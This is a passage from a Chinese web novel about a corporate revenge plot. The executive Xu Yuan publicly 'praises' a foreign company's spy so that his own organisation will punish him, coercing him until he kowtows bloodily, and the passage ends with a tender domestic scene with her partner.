李晓芸更加剧烈地挣扎,哭喊道:“许总,你让我杀了他!反正我欠了那么多钱,人生已经没有指望!去坐牢都比待在外面强!许总,我帮公司报仇!我杀的是卖国贼,不是人!许总,许总!你让我杀了那个畜生!” 两名保安竟然被她的话打动,渐渐放松禁锢的力道。 李晓芸已经陷入疯狂了。 她为什么这样疯? 她觉得自己对不起段星河,另一部分原因是她贷款买了房子现在还不上钱还要被辞退,因为盛世的原因以后也不好再找工作,一辈子全都毁了。 可凭什么陆飞博还好端端的继续在盛世工作? 凭什么!她恨!她真的恨! 她内心的恨意许愿能明白。 她深深的看了李晓芸一眼:“你跟在段星河身边时间不短帮了他不少忙,你离开公司前我会给你一笔钱算做是这些年的补偿奖金,足够你把钱还上够你找到下一份工作。” “至于旁的……不要再提,过好自己的生活,你的人生才刚刚开始,真被判刑了,你的一辈子才是真的全部都毁了。” 许愿推开门,回头看了一眼。 李晓芸安静下来,泪湿的眼睛里渐渐亮起希望的光。 许愿这番话几乎是给了她新的希望。 她重新振作起来,眼睛亮起来,她想要报恩。 “许总,我可以帮你杀了陆飞博。”但她依旧坚持。性格里的缺陷让她从一个极端,走向另一个极端。 许愿似笑非笑地摇摇头,离开楼梯间。 李晓芸在她身后低喊:“许总,您就这么算了吗?您不会不甘心吗?” 许愿回过头看她:“李晓芸,我再说一次,过好自己的生活,你的人生才刚刚开始。” 李晓芸还想继续说,却听到许愿很轻很轻的笑了:“而且,你为什么会认为得罪了我他还能全须全尾的离开A市离开华国而不付出任何代价。” “李晓芸,我从来不是什么好欺负的人。” 话落许愿转身离开,独留李晓芸浑身发寒的愣在原地。 两个保安将李晓芸带到一楼,给她叫了一辆网约车。 “许总,采访室布置好了,记者也来了。”助理迎上前,小声禀报。 许愿点点头,打开会议室的门,冲陈飞豪、段星河和几位高层招手:“几位老总,麻烦你们出来一下。陆飞博,我待会儿找你有事,半小时后,你到对面会客厅见我。” 被点名的几位高层站起来走出会议室 陆飞博早已恢复平静,抬眸看向许愿,目光里带着嘲弄。 他大概知道许愿为什么要找自己单独谈话。 第338章 滚出去发疯 陆飞博太清楚了,在没有证据指控莱蒂斯集团的情况下,他是许愿唯一的突破口。 只有他去自首把莱蒂斯集团招供出来,才能加快盛世收购海外企业的进程。 许愿或许会拿一大笔金钱诱惑他或许还会许诺等他从牢狱里面出来后给他更多好处,房子?美人?或者更多的东西?他清楚这件事只要运作得当,法院的量刑在三年以下。用几千万甚至几亿酬劳,换取一两年自由,无论从哪个角度去看,这都是一笔太过划算的买卖。 此刻的许愿大概很得意。许愿是不是觉得自己已经胜券在握?但许愿想得太天真了!这根本不是钱的问题! 陆飞博摇摇头,讥讽一笑。 他绝对不会背叛莱蒂斯,无论许愿给多少好处他都不会背叛自己的组织…… 对面会客室里,许愿安排的记者正在采访各位高层。 盛世是如何逆转局面,又是怎样咬断莱蒂斯的咽喉,这场困兽之斗经历了多少波折与险阻,都在记者的提问之列。 这次事件太有戏剧性,当一切尘埃落定的时候,外界必然会对其中的内幕很感兴趣。 记者深入调查,兴致高昂。 陈飞豪把功劳全都推给许愿,他清楚该接受鲜花和掌声的是许愿。 许愿看向段星河,笑着说道:“我不是最大的功臣,段老师才是。” 段星河侧头看向许愿,目光非常专注:“如果没有许总帮我筹集到足够的研发资金;如果没有许总帮我去海内外斡旋,购买到我所需要的一切高精仪器和原材料;如果没有许总帮我挖人,给我顶尖的科研人员,如果没有许总和许总的弟弟陪我一起研发给我提供灵感我不会取得今天的成绩。许总才是当之无愧的功臣。” 记者先把话筒伸向陈飞豪,然后伸向许愿,再然后伸向段星河,最后又伸到许愿面前。 她自己都被整笑了,劝道:“许总,您别谦虚了,大家都很认可您。您就说两句吧。” 盛明宇坐在一旁,没被摄影机拍到,不免气得牙痒,现在倒显得许愿才是盛世的领导人了! 许愿早就知道公司机密不曾外泄,却没对任何人说。要不是他故意隐瞒,自己父亲不会跟陈飞豪签署那份协议!许愿坑外人就算了,连自己人也坑! 妈的,有机会一定要整死他!盛明宇越想越气,愤恨的目光瞥向身边的父亲。 盛衡闭了闭眼,微微摇头,神色中也带着狠厉。 父子俩都是阴险毒辣的人,怎么可能生生咽下这口气? 现场太多股东和高层,他们不便发作,只能强忍。 许愿接过记者递来的话筒,缓缓说道:“其实我背后还有一位无名英雄。莱蒂斯集团找上他,以巨大的利益诱惑他,让他盗窃公司机密。但他骨子里还有热血,爱国的心坚定不移,最终选择向我坦白。如果不是他提前给我预警,配合我的种种布局,盛世无法取得今天的胜利。我们的民族产业和尖端技术得以保全和发展,离不开像他这样的有志之士。” 记者越听越兴奋,连忙追问:“许总,您说的这位有志之士是谁?他在现场吗?” 摄影机扫过所有人的脸。 陈飞豪诧异地看向许愿,他怎么不知道有这样的人?许愿这是想捧谁? 陈飞豪满脑子都是疑惑,段星河也明显愣了下,但下一秒就察觉到什么,继而轻笑出声,许愿果然是一朵沾满毒液的花,开得越美,毒性越强。 玩味的笑声持续了好一会儿,许愿轻瞥一眼,段星河立刻收敛了脸上的笑意将“舞台”重新让给许愿。 许愿转而看向记者,说道:“这位无名英雄就在外面,我让助理带他进来。” 几台摄影机齐齐对准门口。 助理推开门,侧过身,让出一条道,将陆飞博推进去,陆飞博有些茫然的慢慢走进来,瞳孔骤然一缩。 记者?摄影机?这是做什么? 到底发生了什么事?为什么要拍他?是他暴露了?许愿不是知道自己身份却没有办法公开吗? 许愿站起身大步走到门口,热烈拥抱陆飞博说道:“我说的人就是他,他叫陆飞博。” “呀,这么年轻!”记者连忙站起来,满脸惊讶。 摄影机立刻给陆飞博拍了一个特写。 “不知道我们有没有荣幸采访这位陆先生?我们想了解更多细节。” “抱歉,小陆刚从警察局里出来。从昨天早上到现在,总共三十多个小时,为了配合警方调查,他始终没合眼。采访改到下次吧,我想让小陆先回去睡一觉。” 许愿脸上带着温柔的笑意,关爱的目光扫过这人憔悴的脸。但在陆飞博看来,许愿明明笑得那么温柔,她眼眸里却布满阴冷的寒气。 陆飞博感觉自己被一条毒蛇缠住了。 记者不知道两人之间的较量,此刻看着陆飞博估算着陆飞博的年龄登时更感钦佩,柔声安慰几句,然后结束了采访。 从头至尾,陆飞博根本不知道发生了什么,他脑子嗡嗡作响,什么想法都没了,满脑子都在询问“发生了什么?”“为什么要采访自己?”“许愿抱自己做什么?她疯了!” 记者一走,盛明宇是彻底忍不住了,此刻拍案而起,嘶吼道:“许愿,你和陆飞博联手耍我们?公司机密没外泄,你为什么不早说?妈的!难怪陈飞豪答应签那种协议!你们坑我!” 盛明宇一脚踹翻茶几,已是怒不可遏。 陈飞豪挡在许愿身前,一巴掌扇歪盛明宇的脸。 “要发疯就滚出去发疯!” 盛明宇咬牙切齿的怒目瞪着他:“陈飞豪!得利的是你!你就是许愿的舔狗!你就是许愿的一条狗!你给我让开!换做以前你根本没有资格跟我站到一起!” 盛明宇发疯,盛衡完全不在意,他就是想让盛明宇发疯撕开许愿虚伪的面具。 许愿兀自摆弄着手机,淡淡开口:“我和陆飞博没联手。” 第339章 求饶 “什么?”暴怒中的盛明宇愣了愣,盛衡也傻了,许愿这话什么意思。 陆飞博一会儿看看许愿,一会儿看看盛衡,青灰的脸庞因为某个猜测,渐渐变得惨白。 许愿……她真的疯了…… 她是疯子,她是要自己全家人都死! “这是刚才的采访视频,陆飞博,你看看吧。”许愿把记者发来的视频投在电视机上。 陆飞博看向电视机,清晰地听见了许愿的声音。 什么有志之士?什么无名英雄?什么热血爱国?是在说他吗? “过一阵,等盛世成功收购莱蒂斯在华国的子公司,我会让记者把采访视频放到网上。”许愿懒洋洋的笑着,眉眼弯弯的看着陆飞博,眼底饱含深意。 “陆飞博,你能猜得到这段视频放到网络上后会掀起什么波澜吗。” “华国的人都会夸赞你为你欢呼呢,真不愧是我们华国男人啊……可你还是华国人吗,陆飞博,你是吗。” 许愿笑意渐深似笑非笑地瞥了陆飞博一眼,语气散漫:“陆飞博,别以为我拿你没办法。法律之外的审判往往更残酷,你是聪明人,你应该明白我的意思。” 陆飞博僵硬地站了很久,然后扑通一声跪在许愿面前,额头猛地磕击地面,撞出一个鲜血淋漓的口子。 陆飞博直起腰, 露出一张鲜血淋漓的脸,额头撞出的口子,深得几乎可以见骨。 骇人的一幕吓傻了周围的几个高层, 包括盛衡父子。 陆飞博抬起头看着她, 眸子里哪还有阴狠算计, 唯余恐惧。 他二话不说又重重磕下去,发出砰的一声闷响,然后是第三下。连磕三个头之后,脑门上的口子已是一片血肉模糊, 更多鲜血蜿蜒而下,遍布皮肤, 描绘出一张狼狈扭曲的脸。 “许总,求您饶了我!我错了!”陆飞博跪坐下来, 双手撑在并拢的膝盖上, 脑袋重重压下。 直播开始前,他怕是没有想过,在警方都找不到证据的情况下, 他会如此卑微地跪在许愿面前, 祈求一条生路。 在场所有人都看呆了。 盛明宇结结巴巴问道:“发…发生什么事了?” 盛衡忽然拉了盛明宇一把,微微摇头。 他看向许愿的目光里再没有愤恨和恶意,只剩下忌惮与恐惧。 与许愿为敌,赢了好说,输了怕是连个葬身之地都没有!陆飞博就是血淋漓的例子! 许愿没有说话,漂亮的眼睛微微眯起,漫不经心地看着陆飞博的惨状了,她不带半分同情,眼底甚至还带着几分毫不在意的笑意。 陆飞博嘴里一直说着求饶的话,一句又一句。 许愿挑高一边眉梢,露出戏谑的表情。 许愿没有开口,陆飞博便像个罪人一样把脑袋压下去。 他知道,此刻的自己看上去像一条狗,而且还是被打折了双腿,压断了脊骨的狗,但他没有办法!他要活命! 陈飞豪用异样的目光打量许愿。 这依旧是他从未见过的一面,狠毒,冷血,残酷。 段星河靠着沙发忍不住啧了一声,太像了啊,当初苏青莲就是如此未唐青江复仇的,那群人都被逼到绝路呢,该说不愧是苏青莲的女儿啊。 段星河低沉地笑了笑,站在许愿身后,像个守护者。 许愿瞥了段星河一眼方才歪头,目光重新落到陆飞博脸上。 陆飞博用力压下脊骨和脑袋,这是在祈求,在求饶,他希望许愿能放他一条生路,他想继续活着。 头上模糊的伤口还在不停流血,疼得钻心,陆飞博却连大声呼吸都不敢。 “许总,求您放我一条生路!不要把视频播出去!”他再度哀求,嗓音已经哑了。 刚才一脚踹翻茶几,想跟许愿不死不休的盛明宇,现在终于回过神来。 到了现在盛明宇隐约猜到许愿在做什么,那些怒气和恨意,竟都变成了胆寒。 许愿悠悠说道:“当年,莱蒂斯所在的国家制定了一个‘天才计划’,据说莱蒂斯命令自己的团队挑选了很多之上高于常人的孩童,他们培养这群孩子,甚至每年砸下重金学习,为的就是要让这群人长大后进入其它国家各个行业各个领域一步一步渗透其中,不巧,你就是这批天才中的一个。” 陆飞博跪伏在地,保持沉默。 许愿不提问,他是不敢开口的。 “几百个交换生,光是奖学金和培养基金就高达上亿,这笔钱对莱蒂斯来说不算什么,他命人制定了这样的计划,需要你们一步步搞垮其它国家各行各业的体系。” 陆飞博把头垂在胸前,额角流下冷汗。 “你母亲也是在这个组织的安排下,嫁给外国人。他们通过控制你的母亲,控制了你。我猜得对吗?” 陆飞博闭上泛红的双眼,更低地压下脑袋。 “这段采访视频播出去,你的组织不会放过你,更不会放过你母亲。哦,他们同样不会放过你的其它亲人,你的母亲,你的外祖外祖父还有你的弟弟,据说你跟你弟弟的感情很好,真是……兄弟情深啊,不知道这段视频播出去后,你的弟弟还能不能接到你的电话等你回家。” 许愿眼神浅淡不带半分感情的看着陆飞博,每一字每一句都压在陆飞博心理防线最底层,几近将他逼到崩溃。 许愿的眼神看似温柔多情,实则布满寒霜。 “你在国内,目前还算安全,你猜猜你母亲和你弟弟会怎样?海外企业的黑道可是合法的,你加入的那个组织,哦,也就是莱蒂斯所属的阻止,他甘那些势力都做过什么你清楚吗?或许你该听说过海外著名的萝莉岛事件。” “你以为背后的人是谁呢?你说莱蒂斯的人既然能安排你母亲嫁给你的继父,那你的继父会不会是安排好的人?你觉得他是会保护你的家人还是向组织投诚?到那时你的母亲会被卖到哪里?你的弟弟会不会被送到萝莉岛上……呵,陆飞博,你可以好好的猜一猜想一想。” “等你真的想清楚了,再考虑接下来怎么组织语言跟我沟通。” 第340章 墙头草 陆飞博听到这里眼瞳赤红,他身体颤抖的几乎要流下血泪,他二话不说,又开始磕头。 砰砰砰,砰砰砰,砰砰砰…… 每磕三个,他便哀求一句:“许总,求您饶了我的家人!许总,我愿意当双面间谍,帮您盗取莱蒂斯的商业机密!许总,您让我做什么,我就做什么,只求您放过他们!” 沉闷的磕击声令人毛骨悚然。 光洁地板上不知何时侵染出一个血色印记,鲜血黏在地板上,看着可怖至极。 盛明宇被惊的膝盖一软,竟直接瘫坐在沙发上。 盛衡恨铁不成钢地瞪他一眼,可看向许愿时眼底同样带着恐惧。 日后想办法整死许愿?他们怕是嫌自己命太长!跟许愿这样的人作对,骨头都会被敲碎吞下去! “许总,您让他别磕了。”一名高层颤声说道。他心不够狠,见不得这种场面。 “当双面间谍,其实可以。”又一名高层小心翼翼开口。 他们的辈分都比许愿高,但在许愿面前却连大气都不敢喘,他们也清楚许愿根本不在意辈分,只能小心的提议。 “让这种人当双面间谍?你们怎么想的?”许愿漫不经心地笑了笑瞥了陈飞豪一眼,似乎是在说你看你身边都是一群什么样的蠢货。 陈飞豪扯了扯领带,面色阴沉。 许愿盯着陆飞博深深弯下的腰,语气冰冷:“为了钱出卖国家的人,是最没有底线的。是什么让你们认为,这种人值得拉拢和利用?昨天,他可以背叛华国。今天,他可以背叛海外企业。明天,他可以背叛所有人。” “墙头草,能有什么可利用的价值。” 陆飞博磕头的动作僵住。 许愿一语道破他的本性,同时也看穿了他的灵魂。的确,他不会忠于任何人,他只会忠于自己。 “可是,咱们如果不帮他,他母亲和弟弟——” 高层忧心忡忡的话被许愿打断。 “丈夫做的是什么工作,加入的是什么组织,我相信他母亲一定知道。自己在海外企业结婚生子居住在国外却让前夫的儿子回国求学,这可不是一个母亲能做出来的事。除非母亲知道,儿子回国是准备做什么。有其母必有其子,家庭教育对一个人的塑造是最关键的。她母亲已经做出了选择,也促使儿子做出了选择。他们自己选的路,跪着也要走完。” “你说这话前应该想清楚,他陆飞博都已经不是华人国籍,他的母亲弟弟还能是华国人吗,你们这么容易对外国人心软,怎么不见你们对我和盛景炎有过半分心软。” 高层们哑口无言。 许愿瞥了一直求情的高层一眼:“况且你应该想一想,如果这次陆飞博成功了,盛世的员工该何去何从?遭到重创的民族产业该如何振兴?他们掠夺的是我们整个国家的财富,而你在怜悯的,是一群背叛国家,背叛人民的走狗。” 许愿语气冰冷地问:“所以你给这种人求情的时候,你摆正自己的位置了吗?你站在哪一边?” 高层愣了半晌,然后满脸羞愧地低下头。 心怀不忍的那些人再也不敢开口规劝。 的确,他们同情陆飞博,可陆飞博根本不是华国人了,他当初背叛盛世的时候怎么不想着有这一天,他们不该对一个叛徒心软! 陆飞博直起腰,抬起沾满鲜血的脸,万般悲切地看着许愿。 “许总,我求你!我以后帮你卖命!许总,我弟弟今年才八岁,她是无辜的!许总,求你放过她!”悔恨的泪水混在血水里,流淌而下。 许愿眼神平静的看着他,良久后语气平淡地说道:“我把你叫进来,不是为了让你给我下跪,也不是为了看你狼狈的模样。我只是想让你知道,人如果做错事,不可能不付出代价。法律制裁不了你,我有的是办法收拾你。我还是那句话,你们自己选的路,跪着也要走完。你弟弟是外国人,保护她不是我们华国的责任,如果我是你,我建议你现在就打国际报警电话,申请保护令。” 陆飞博整个的人心都要碎成渣。 谈到现在是已经没有任何退路了。 他当然清楚自己加入的是什么样吃人的组织,更知道背叛了组织的代价,死不是最绝望最可怕的,最可怕的事生不如死的遭受折磨。 莱蒂斯的手段……尤其可怕。 想到家人想到母亲河弟弟,陆飞博此刻彻底绝望了,他像是一滩烂泥瘫软在地上。 片刻后他眼神一变,冲着许愿身体就扑了上去。 他想跟许愿同归于尽。 段星河和陈飞豪一起出腿,把人踹翻。 许愿拍拍手,等在外面的助理马上推开门,带着几个保安冲进去,把陆飞博拖走。 “许愿,我要杀了你!如果我的家人出了什么事,我一定让你不得好死!许愿!你这个疯子!你这个混蛋!我诅咒你!我这一辈子都会诅咒你!” 凄厉的吼叫声渐渐远去,会客室内一片死寂。 许愿神色一片淡然。那些狠毒的威胁,对她不过一缕耳旁风罢了。 她是不会被道德绑架的,害死他家人的,不正是陆飞博自己吗? 是他自己选择了这样一条路。 她的心就那么大,有时间同情外国人倒不如多同情国人,至于陆飞博,还不配让他同情,一切都是他咎由自取。 许愿轻瞥盛明宇一眼,盛明宇浑身一颤赶紧移开目光,此刻根本不敢跟许愿对视,更别说对着许愿发疯了。 许愿又看向盛衡,盛衡露出和善的笑容。 “你和盛衡具体签署了什么协议,现在需要解决这件事了。”许愿淡淡开口。 陈飞豪说道:“如果你没能处理好这次泄密事故,我出让所有股权,离开盛世。” “就你吃亏?他们什么代价都不用付?”许愿抬起手,指尖点了点盛衡父子。 盛衡父子仿佛隔空被烫到,身体有些打颤。 “当然不是。如果你完美解决这次危机,他们会按照市价一半的价格卖出手中的股份,并且只能卖给你或者是我,而盛衡也会退出董事会离开盛世。” 第341章 她和苏青莲谁会赢 “你不记得了?如果你完美解决这次危机,他们会按照市价一半的价格卖出手中的股份,并且只能卖给你或者是我,而盛衡也会退出董事会离开盛世。” 许愿颔首道,“对嘛,这才公平。只是陈总不怕他们赖账?这种协议没有法律效力吧?” “我们的股权都已经委托第三方代为持有。结果出来后,第三方将执行协议内容。最迟半个月,我的股权会回到我手里,盛衡所持有的股权也会到我手里。” 陈飞豪整理好领带,又抚了抚西装外套上的褶皱,他看向盛衡和盛明宇时眼底都带着明显的意色。 许愿挑了下眉:“这样啊……那么,这些本该属于盛景炎的股份我就替他买下了。” 盛衡脸色惨白。 “许愿,你疯了吗,这是属于盛家的股份,你真要抢走我和明宇手中的股份!你要看着我们盛家的公司姓许吗!” “你们手中的股份到我手中和到盛景炎手中并没有什么分别,如果你愿意的话,或许你可以见一见盛景炎,看他是想让盛世姓盛还是姓许,我想如果是盛景炎的话,他或许会希望公司跟着我姓呢。” 许愿明明是带着笑意的,但就是给人一种明显的凉意,让人只看着就毛骨悚然。 盛衡的派系你看我我看你,全都不敢再此刻站出来。 盛衡输了已成定局,就连手里最后百分之十五的股份都要出给许愿,以后盛世不就是许愿和盛景炎独大?他们就算再讨厌许愿也不会在这个时候站出来,盛衡已经落败,他们不会蠢到这时候跟许愿对立。 更何况,许愿才是那个真正将利益摆到明面上的人。 盛衡内心怒斥盛景炎是个逆子,他太清楚盛景炎会怎么回答,他甚至会直接带着许愿去商量将公司的名字改了!他疯了吗才去见盛景炎。 盛衡父子垂头丧气地坐在沙发上,一句话都不敢说,盛明宇更是恨得牙痒痒。 陈飞豪做人还有底线,惹恼了没关系。许愿根本就是一只恶鬼!当着许愿的面,他们半点也不敢闹。 盛明宇明明恨许愿恨到骨子里,偏偏现在不敢发疯,地上的血还没干呢! “各位,今天的事已经忙完了,都回去休息吧。”许愿站起身,整理着并不凌乱的袖口,笑着说道:“辛苦大家了。” “不辛苦不辛苦!” “许总才辛苦!” “没有许总,盛世哪有今天!” “许总快回去吧,您都忙了好些天了!” 诸位高层连声说着客气话,态度毕恭毕敬,笑容里带着谄媚和拘束。 见识到许愿对付陆飞博的手段,他们这些人哪敢把自己当一盘菜?也不怕被许愿吃咯! “段星河,差点忘了跟你说,我把李晓芸开除了。”许愿看向段星河。 “你做主就好。”段星河轻声一笑。 他其实也只是愣了一瞬。 李晓芸是毕业后就跟在他身边的,说实话李晓芸天分并不很高,但好在做事认真够负责,所以他才一直留在身边,只是没想到这次会捅出这么大的篓子。 许愿走出会客室,站在会议室敞开的门边,提高音量说道:“陈总,麻烦您告诉人事部,我们研发部的人一个都不能碰。这次事件,我的属下没有任何过错,除了陆飞博和李晓芸,别的员工都守护好了自己的岗位。人事部若想拿这个当借口开除谁,我第一个不答应。” 热热闹闹的会议室安静下来。 听见这些话,所有职员的眼眶都红了。 拥有许总这样的上司真是他们的幸运。 福利,许总为他们争取。委屈,许总帮他们承受。场子,许总替他们找回来。全公司上上下下那么多领导,许总才是最护着自己职员的上司。 陈飞豪看着一张张感动不已的脸,自然能明白许愿的用意。 许愿是在给研发部的人吃定心丸。 这些狠话撂出去,足以吹散所有人心里的阴霾,激发大家努力工作的热情。当然,许愿收获的,将是一颗颗赤诚的忠心。 陈飞豪失笑:“这些话都不必许总提起,许总选的人我们自然都是相信的。” “许总的人,谁敢动?这样吧,从下个月起,研发部所有职员都涨工资,实习生提前转正。具体涨多少,人事部那边会跟你们谈。”陈飞豪温声说道。 “涨工资?太好了!陈总万岁!许总万岁!” 会议室里响起一片惊喜的欢呼,大家一蹦而起,相互拥抱。 许愿关上会议室的门,把欢乐的氛围封存。 “陈总,你的股权保住了,盛世我也护住了。”他看向陈飞豪。 “我一直知道许总不会让我失望。” 陈飞豪开口道:“我这辈子做过的最正确的事就是相信许总。” 陈飞豪确实是这么想的。 回到研发部,许愿关上办公室的门,段星河看向她拍了拍手轻啧一声。 “我该恭喜许总得偿所愿了。” “那么接下来许总想如何做?” 许愿也不隐瞒,徐徐说道:“莱蒂斯在A市买了一块地皮,他本来打算盗取盛世的商业机密然后筹建世界最大的汽车制造厂,资金什么的都已经到位。盛世会吞并他在华国的产业,那边肯定要派一个人去管。” 许愿跟段星河一起完全不用掩饰自己的野心和欲望。 他看向段星河,意味不明地笑了笑,眼神复杂,却又温柔。 段星河坐在沙发上笑意幽深:“我该说不愧是你吗。” 不愧是苏青莲的女儿,一如既往的下手狠辣。 她这是要将莱蒂斯在国内的势力尽数铲除啊,莱蒂斯本想靠着这次的计划拿下盛世狠狠打脸许愿,最终却未能如愿反倒再一次被许愿反击。 几年前的洪门谈判,今年的智能反击案,每一次都卡主了莱蒂斯的死角。 “我其实在想一件事。” 段星河开口。 许愿嗯了一声:“我们都这么熟了,段老师也不必藏着掖着,有什么直说就好。” “我其实真的很想知道……如果你和苏青莲一起,谁会赢呢。” 第342章 他超爱她 许愿和苏青莲相比谁会赢? 许愿垂下眼睫,她也很想知道现在的自己有没有能力跟苏青莲相比。 “她没有设计那处假死的戏码时就已经开始研发全息,现在这么多年过去,你猜她研究到哪一层了?”段星河意味深长:“或许她早就已经将全息完全研究出来呢。” “我自诩是天才,但却不能跟苏青莲相比。” “你跟我可以说是不分上下,但若是跟她比可能还有些差距,不过我也可以理解,毕竟你并非只专精于全息设计。” 段星河了解苏青莲,苏青莲是他这么多年来碰到过的最聪明的人,哦,这话也不对,还要加上唐青江。 这对夫妻基因诞生的孩子,基因总不会差到哪里去。 若是许愿跟苏青莲相比,许愿怕是会输。 但绝不是因为智商不够而输,她只是输在时间上。 许愿对此不置可否,并未反驳。 她不能接受苏青莲,但也不得不承认苏青莲的优秀。 “那么你打算什么时间回盛华,总不会真的打算让我一直在盛世待着吧。” 段星河声音里面都透露出几分怨念。 许愿顿了下:“在盛世不好吗,你的研发部都建好了。” 段星河靠在沙发上,懒洋洋的表明态度:“总之你去哪儿我就去哪儿,你记清楚,我现在还在盛世也是因为盛世有你,如果你去了别的地方,盛世绝不可能困住我。” 许愿愉悦地笑了笑,拎起烧开的一壶水,为段星河泡了杯茶。 “段老师看得起我。” 段星河是看中许愿的双商,但更多的原因是许愿像苏青莲。 离她越近就越有可能联系到苏青莲。 这么多年,他真的太想见苏青莲了。 许愿挑高一边眉梢,表情似笑非笑。 “什么最契合的搭档,我根本就是你争权夺利的工具吧。”看她这副模样盛景炎叹气。 许愿放下水壶,轻轻叹了一口气,问道:“段老师不是一早就知道在我这里只是工具吗。” 大家都是聪明人,什么不知道什么不清楚呢。 一周后, 一切尘埃落定。 曾经显耀一时的海外集团,在华国经历了前所未有的大溃败。 听说集团使用劣质钢材制造汽车,导致了多起严重事故, 死亡人数多达9人, 国外也因此也掀起了激烈的抵制活动。 就算退回本土,莱蒂斯的日子也不好过。 陆飞博的采访视频流传到网上, 网友们称他为民族英雄,对他大加赞誉。这幅场景, 着实有些讽刺。 许愿给过他机会。 采访结束的当天,陆飞博其实可以马上回到海外企业, 带走母亲和弟弟。去欧洲、非洲或南美洲, 只要他愿意,随便去往境外某个地方, 他都能带着家人安全地躲避很长一段时间。 许愿并不会马上放出视频。 但陆飞博没有那样做。他害怕自己前脚离开华国, 许愿后脚就动手。那样的话, 他等于是自投罗网。 像他这种人, 自私冷酷是刻在骨子里的,即使亲人处于险境, 也比不上自己的性命更重要。 陆飞博没有回去, 只是给母亲打电话,让她带着弟弟赶紧找个地方躲起来, 又转了一笔钱。 之后的事, 他没有再管,也管不了。 莱蒂斯损失惨重,视频播出之后,他开始遭到大面积的追杀, 像一条丧家之犬, 没日没夜地奔波逃命。 当初接受境外势力策反的时候, 他只看见摆放在桌上的巨额支票,却看不见脚下的尖刀和陷阱。 莱蒂斯对陆飞博已是不死不休。 陆飞博的“背叛”让他们蒙受了巨大损失。 除了华国子公司,莱蒂斯再国内的一条高档车生产线也被许愿一口吞掉。 这个品牌的高档车与奔驰、宝马齐名,每年为莱蒂斯带来几百亿的利润。失去这个品牌,莱蒂斯几乎送了半条命,而盛世却如虎添翼,瞬间就跻身于高端车市场。 龙景雅苑 三十多岁才开荤的男人就是爱折腾,许愿有阵子没陪盛景炎,昨晚许愿解决了近来的工作实在是闲来无事去招惹盛景炎。 偏偏盛景炎都提醒过她,她还是没忍住小作的惹他。 伤了腿的男人就不是男人了?坐在轮椅上的男人就不是男人了? 最后被欺负了整晚的许愿哭都哭不出来直到深夜才吭吭唧唧的埋进他怀中蹭着睡过去,像是猫咪在主人身边寻了个窝似的。 天已经快亮了,许愿迷迷糊糊的移开手臂,却见盛景炎双手撑着床缓缓移动身体坐到轮椅上,他手臂上隆起的肌肉令她想到不久前的事,只觉得身体愈发软了,实在没忍住的脸颊绯红。 盛景炎移动轮椅去浴室清理,虽然断了腿却也不喜欢别人伺候洗澡穿衣,速度是慢了点。 从浴室出来见许愿还瘫在床上,此刻听见响动爬起来窝在薄被里偷偷露出一双眼睛瞧着他,眼睛水润润的,带几分依赖,甚至还藏着几分控诉,俨然是被他欺负狠了才会出现的小眼神。 许愿平日里什么时候露出过这样的眼神?也只有在他面前才会露出这样柔软无害的一面,只是这样看着她就觉得心尖都软下去,想凑上前去摸一摸她毛茸茸的发梢。 察觉到盛景炎此刻含笑的眼神,许愿忍不住轻哼一声,从床上软着身子爬下来,她腰酸的厉害,哼唧了一声就要往地下栽,盛景炎眼疾手快驶动轮椅扶住她的手臂,许愿顺势赖皮的跨坐在他腿上。 许愿脸颊还带着点绯红,眼眸晶亮唇角上扬着,显然一副自己已经得逞了的模样。 她伸出手玩闹似的勾弄他的衣袖,“心情不好?” “只是出去一趟怎么就不开心了?昨晚你可不是这样的。” 昨晚盛景炎要多热情狂野? 单是想想就觉得自己快要发烧了。 她绞尽脑汁也想不出盛景炎出去一趟就生气的原因,总不能是因为她,那她也太冤了。 许愿凑过去想亲亲他,她想着,自己这么漂亮他这么爱自己,亲一亲会不会心情变好啊。 肯定会的。 他超爱她的。 她就是有这样的自信。 第343章 为她生气的样子好帅 许愿凑过去,盛景炎躲开,许愿愣了下眼睛都瞪圆了,她继续凑过去,盛景炎又偏了下头躲开。 许愿不敢置信对自己的魅力产生了怀疑,她忍不住的也不小心的往前凑了,直接扑进他怀里撒欢的蹭来蹭去。 “盛景炎你不要太过分啊,哪有人睡一觉起来后这样冷淡的,我不依……” 她悄摸摸的从他怀里探出头来,嘴唇因为不高兴还微微撅着,看起来委屈坏了。 瞧瞧,他又见识了许愿另一面。 软糯可爱又无害。 看着像是一只惹人怜爱的食草系小动物,像是只温顺的兔子。 但盛景炎心里清楚,他的爱人哪里会是兔子,分明是一只披着兔皮的狐狸,还不是普通狐狸,要是那种九条尾巴的迷惑人心的小妖狐。 他像是很轻很轻的叹了口气。 “阿愿。” “我只是有些生气。” 许愿了然。 看吧。 果然是在生气。 不等许愿问他为什么生气他就已经给出了答案。 “莱蒂斯的企业即将从华国离开,有些仅存的公司也将被盛华和盛世收购,有些人在借此攻击你。” “我不喜欢他们那样说你。” 他明白许愿是一名成功的商人,国内很有名的资本家,所以这是她必经的路,她会被议论被嘲讽,做很多事都会被人用放大镜解读。 有时候哪怕她做出了正确的选择也会被人误解。 譬如这次,她明明救了盛世救了民族企业赶走了觊觎国内企业的外企,却被一群什么都不懂的劣质群体指责辱骂,甚至数次上升到她的性别要求她滚下台。 理论上他该理智,但许愿不仅是商人更是他的爱人。 所以他看到那些言论心里会难过。 盛景炎瞳眸缩了缩,眸光阴冷,身上散发的危险气息令许愿看向他时瞳眸都微微闪了闪。 片刻后许愿忍不住轻笑的摇晃着盛景炎的衣袖。 “你为我生气的样子好像有点帅啊。” 盛景炎:“?” 他在生气,这时候夸他帅是认真的吗? 好吧,虽然他听到这种话是有点高兴的。 盛景炎忍不住清了清嗓子:“别闹。” “我没闹啊,就是很帅。” 她贴在男人怀里又蹭了蹭 他是在生气的,所以此刻能明显感受到盛景炎身上散发的淡淡冷意,像是体内藏着一把攻击力强大的寒刀。 此刻贴的这样近,许愿感受到盛景炎手臂搂紧自己的腰肢。 她垂眸,目光所及之处是男人手臂处隆起的漂亮肌肉。 再稍稍转移视线,看到的就是男人完美的下颌骨和性感的锁骨。 视线再向上移,对上男人那双仿佛藏匿了满天星辰的桃花眼。 她心尖跟着颤了颤。 “就是好帅。” 说着贴过去“叭”的亲了口,亲一口不够又来一口。 盛景炎:“……” 盛景炎颇为无言的看着面前有些过于幼稚的爱人。 “阿愿,我想我在说正事。” “那你不要陪我一起奇奇怪怪了吗?”许愿伸出手冲他比了个小心心。 “……”盛景炎显示忍不住扶额,然后还是配合的伸出手回了个小心心。 看到他如此配合许愿忍不住笑倒进他怀里,但又因为动作幅度太大只觉得自己的腰又酸软几分 